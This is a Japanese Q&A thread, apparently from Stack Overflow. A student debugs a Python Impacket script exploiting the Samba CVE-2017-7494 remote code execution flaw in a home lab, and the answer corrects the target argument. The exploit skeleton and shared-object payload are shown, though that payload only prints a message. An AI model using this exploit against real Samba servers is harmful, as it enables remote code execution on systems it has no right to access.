1

私は小規模な学校のサイバーセキュリティ プロジェクトを行っています。私の Python (Impacket ライブラリ: RPC のトランスポート モジュール) スクリプトに小さなバグが 1 つあります。これは非常に単純なスクリプトであり、ペイロードは GitHub で参照できます: https://github.com/omri9741/cve-2017-7494/blob/master/exploit.py

from optparse import OptionParser
from impacket.dcerpc.v5 import transport

def main():
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target", help="target ip address")
    parser.add_option("-m", "--module", dest="module", help="module path on 
target server")

   (options, args) = parser.parse_args()
   if options.target and options.module:
      stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module)
      rpctransport = transport.DCERPCTransportFactory(stringbinding)
      dce = rpctransport.get_dce_rpc()
      dce.connect()

   else:
      parser.print_help()        

if __name__=="__main__":
   main()

Samba サーバー (4.5.8) を含むシステム全体 (Kali Linux 2017.1) をセットアップしました。Samba 共有は既に動作テスト済みです (接続 OK ファイル転送 OK)。ファイアウォール サービスが実行されていないことを確認。ペイロードは、C ファイルから共有オブジェクト libpoc.so にも組み込まれています。

#include <stdio.h>
int samba_init_module(void)
{
printf("hello from cve-2017-7494 poc! ;)\n");
return 0;
}

そしてヘッダーファイル:

#ifndef poc_h__
#define poc_h__
 extern int samba_init_module(void);
#endif  // poc_h__

コマンドを実行する場合:

python exploit.py -t //localhost/pentest -m /localhost/pentest/libpoc.so

トレースバック ログを取得します。

raise socket.error ("Connection error (%s:%s)" % (peer[0], peer[1]), e) socket.error: 
   [Errno Connection error (localhost/pentest:445)] [Errno -2] Name or service not known
4

1 に答える 1

0

ターゲットの FQDN または IP アドレスのみを指定する必要があります。例えば:

python exploit.py -t 192.168.1.10 -m /localhost/pentest/libpoc.so
于 2017-07-24T17:18:27.110 に答える